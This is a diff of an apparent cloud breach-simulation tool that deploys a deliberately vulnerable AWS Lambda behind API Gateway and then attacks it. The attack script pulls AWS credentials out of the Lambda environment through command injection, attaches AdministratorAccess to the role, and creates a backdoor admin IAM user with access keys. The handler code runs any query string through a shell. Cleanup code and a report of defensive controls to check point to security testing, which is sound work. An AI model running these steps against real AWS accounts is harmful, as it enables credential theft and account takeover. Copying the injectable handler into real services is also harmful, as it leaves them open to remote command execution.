Injection through API GW, lambda backend, attempting credential exfil", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) + print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) + loading_animation() + print("-"*30) + + creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" + subprocess.call(""+creds+" && aws sts get-caller-identity --no-cli-pager", shell=True) + + print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) + subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) + sleep_duration = 60 + pbar_sleep(sleep_duration) + + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + + #Backdoor IAM User + print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) + loading_animation() + print("-"*30) + subprocess.call(""+creds+" && aws iam create-user --user-name devops --no-cli-pager", shell=True) + subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops --no-cli-pager", shell=True) + + #Backdoor Role + # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) + # loading_animation() + # print("-"*30) + # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) + # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) + + # gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) + + subprocess.call("rm token.txt", shell=True) + + # TODO: only return true if attack succeeded? + return True diff --git a/scenarios_ng/scenario_2/infra/__init__.py b/scenarios_ng/scenario_2/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_2/infra/__main__.py b/scenarios_ng/scenario_2/infra/__main__.py new file mode 100644 index 0000000..89142e3 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/__main__.py @@ -0,0 +1,60 @@ +import iam +import pulumi +import pulumi_aws as aws + +region = aws.config.region + +custom_stage_name = 'example' + +lambda_func = aws.lambda_.Function("mylambda", + role=iam.lambda_role.arn, + runtime="python3.12", + handler="hello.handler", + code=pulumi.AssetArchive({ + '.': pulumi.FileArchive('./lambda') + }) +) + +def swagger_route_handler(arn): + return ({ + "x-amazon-apigateway-any-method": { + "x-amazon-apigateway-integration": { + "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), + "passthroughBehavior": "when_no_match", + "httpMethod": "POST", + "type": "aws_proxy", + }, + }, + }) + +rest_api = aws.apigateway.RestApi("api", + body=pulumi.Output.json_dumps({ + "swagger": "2.0", + "info": {"title": "api", "version": "1.0"}, + "paths": { + "/": swagger_route_handler(lambda_func.arn), + }, + })) + +deployment = aws.apigateway.Deployment("api-deployment", + rest_api=rest_api.id, + stage_name="", +) + +stage = aws.apigateway.Stage("api-stage", + rest_api=rest_api.id, + deployment=deployment.id, + stage_name=custom_stage_name, +) + +rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", + action="lambda:invokeFunction", + function=lambda_func.name, + principal="apigateway.amazonaws.com", + source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), +) + +pulumi.export("api-gateway-id", rest_api.id) +pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) +pulumi.export("lambda-role-name", iam.lambda_role.name) +pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json new file mode 100644 index 0000000..b4b1999 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::root" + }, + "Action": "sts:AssumeRole" + } + ] +} diff --git a/scenarios_ng/scenario_2/infra/extra.py b/scenarios_ng/scenario_2/infra/extra.py new file mode 100644 index 0000000..979bee6 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/extra.py @@ -0,0 +1,17 @@ +import subprocess + + +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(data): + LAMBDA_ROLE_NAME = data["lambda-role-name"] + + # TODO: consider doing programatically via boto3 vs. subprocess + subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) + subprocess.call("aws iam delete-user --user-name devops", shell=True) + + subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) + subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) diff --git a/scenarios_ng/scenario_2/infra/iam.py b/scenarios_ng/scenario_2/infra/iam.py new file mode 100644 index 0000000..29df25a --- /dev/null +++ b/scenarios_ng/scenario_2/infra/iam.py @@ -0,0 +1,36 @@ +# Copyright 2016-2018, Pulumi Corporation. All rights reserved. + +from pulumi_aws import iam + +lambda_role = iam.Role('lambdaRole', + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": "sts:AssumeRole", + "Principal": { + "Service": "lambda.amazonaws.com" + }, + "Effect": "Allow", + "Sid": "" + } + ] + }""" +) + +lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', + role=lambda_role.id, + policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:AttachRolePolicy" + ], + "Resource": "*" + }] + }""" +) diff --git a/scenarios_ng/scenario_2/infra/lambda/hello.py b/scenarios_ng/scenario_2/infra/lambda/hello.py new file mode 100644 index 0000000..964f80b --- /dev/null +++ b/scenarios_ng/scenario_2/infra/lambda/hello.py @@ -0,0 +1,26 @@ +import json +import subprocess + +def handler(event, context): + # Retrieve the command parameter from the query string + command = event.get('queryStringParameters', {}).get('query', '') + + # Check if the command is empty + if command == 'ping': + return { + 'statusCode': 200, + 'body': json.dumps('Cheers from AWS Lambda!!') + } + else: + # Execute the command using subprocess + try: + result = subprocess.check_output(command, shell=True) + return { + 'statusCode': 200, + 'body': result.decode('utf-8') + } + except subprocess.CalledProcessError as e: + return { + 'statusCode': 500, + 'body': f'Error executing command: {e}' + } diff --git a/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml b/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml new file mode 100644 index 0000000..1a38cef --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/Pulumi.scenario_2.yaml @@ -0,0 +1,2 @@ +config: + aws:region: us-east-1 diff --git a/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_2/infra/stack/__main__.py b/scenarios_ng/scenario_2/infra/stack/__main__.py new file mode 100644 index 0000000..ae0bcb4 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/__main__.py @@ -0,0 +1,61 @@ +import iam +import pulumi +import pulumi_aws as aws + +region = aws.config.region +# TODO: why shouldn't this be the user's default AWS region? + +custom_stage_name = 'example' + +lambda_func = aws.lambda_.Function("mylambda", + role=iam.lambda_role.arn, + runtime="python3.12", + handler="hello.handler", + code=pulumi.AssetArchive({ + '.': pulumi.FileArchive('./lambda') + }) +) + +def swagger_route_handler(arn): + return ({ + "x-amazon-apigateway-any-method": { + "x-amazon-apigateway-integration": { + "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), + "passthroughBehavior": "when_no_match", + "httpMethod": "POST", + "type": "aws_proxy", + }, + }, + }) + +rest_api = aws.apigateway.RestApi("api", + body=pulumi.Output.json_dumps({ + "swagger": "2.0", + "info": {"title": "api", "version": "1.0"}, + "paths": { + "/": swagger_route_handler(lambda_func.arn), + }, + })) + +deployment = aws.apigateway.Deployment("api-deployment", + rest_api=rest_api.id, + stage_name="", +) + +stage = aws.apigateway.Stage("api-stage", + rest_api=rest_api.id, + deployment=deployment.id, + stage_name=custom_stage_name, +) + +rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", + action="lambda:invokeFunction", + function=lambda_func.name, + principal="apigateway.amazonaws.com", + source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), +) + +pulumi.export("api-gateway-id", rest_api.id) +pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) +pulumi.export("lambda-role-name", iam.lambda_role.name) +pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json new file mode 100644 index 0000000..b4b1999 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/assume-role-trust-policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::root" + }, + "Action": "sts:AssumeRole" + } + ] +} diff --git a/scenarios_ng/scenario_2/infra/stack/iam.py b/scenarios_ng/scenario_2/infra/stack/iam.py new file mode 100644 index 0000000..29df25a --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/iam.py @@ -0,0 +1,36 @@ +# Copyright 2016-2018, Pulumi Corporation. All rights reserved. + +from pulumi_aws import iam + +lambda_role = iam.Role('lambdaRole', + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": "sts:AssumeRole", + "Principal": { + "Service": "lambda.amazonaws.com" + }, + "Effect": "Allow", + "Sid": "" + } + ] + }""" +) + +lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', + role=lambda_role.id, + policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:AttachRolePolicy" + ], + "Resource": "*" + }] + }""" +) diff --git a/scenarios_ng/scenario_2/infra/stack/lambda/hello.py b/scenarios_ng/scenario_2/infra/stack/lambda/hello.py new file mode 100644 index 0000000..964f80b --- /dev/null +++ b/scenarios_ng/scenario_2/infra/stack/lambda/hello.py @@ -0,0 +1,26 @@ +import json +import subprocess + +def handler(event, context): + # Retrieve the command parameter from the query string + command = event.get('queryStringParameters', {}).get('query', '') + + # Check if the command is empty + if command == 'ping': + return { + 'statusCode': 200, + 'body': json.dumps('Cheers from AWS Lambda!!') + } + else: + # Execute the command using subprocess + try: + result = subprocess.check_output(command, shell=True) + return { + 'statusCode': 200, + 'body': result.decode('utf-8') + } + except subprocess.CalledProcessError as e: + return { + 'statusCode': 500, + 'body': f'Error executing command: {e}' + } diff --git a/scenarios_ng/scenario_2/report/cnbas-as-2.png b/scenarios_ng/scenario_2/report/cnbas-as-2.png new file mode 100644 index 0000000..fb31477 Binary files /dev/null and b/scenarios_ng/scenario_2/report/cnbas-as-2.png differ diff --git a/scenarios_ng/scenario_2/report/report.py b/scenarios_ng/scenario_2/report/report.py new file mode 100644 index 0000000..f860e2e --- /dev/null +++ b/scenarios_ng/scenario_2/report/report.py @@ -0,0 +1,168 @@ +import webbrowser +from pathlib import Path + +def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): + html_template = ''' + + + + + + COBRA Attack Path Report + + + +
+
+ COBRA Logo +

COBRA Attack Path Report

+
+
+

Attack Path Scenario Explained

+

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

+
+ +
+

Attack Scenario Breakdown

+

1. Application is exploited through API GW, lambda backend

+

2. Lambda Role credential is discovered and exfiltrated.

+

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

+

4. Attach Privileged Policy to the Role.

+

5. Provision a Backdoor IAM Role to maintain persistence.

+

6. Whitelist Attacker account id in the trust policy of the backdoor role.

+
+ +
+

Attack Path Graph

+ Attack Path Graph +
+
+

Resource Meta Data

+ + + + + + + + + + + + + + + + + + + +
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
+
+
+

List of Controls to Evaluate Post-Attack

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
+
+
+ + + ''' + + with open("cobra-as2-report.html", "w+") as file: + file.write(html_template) + + + print("HTML report generated successfully.") + webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file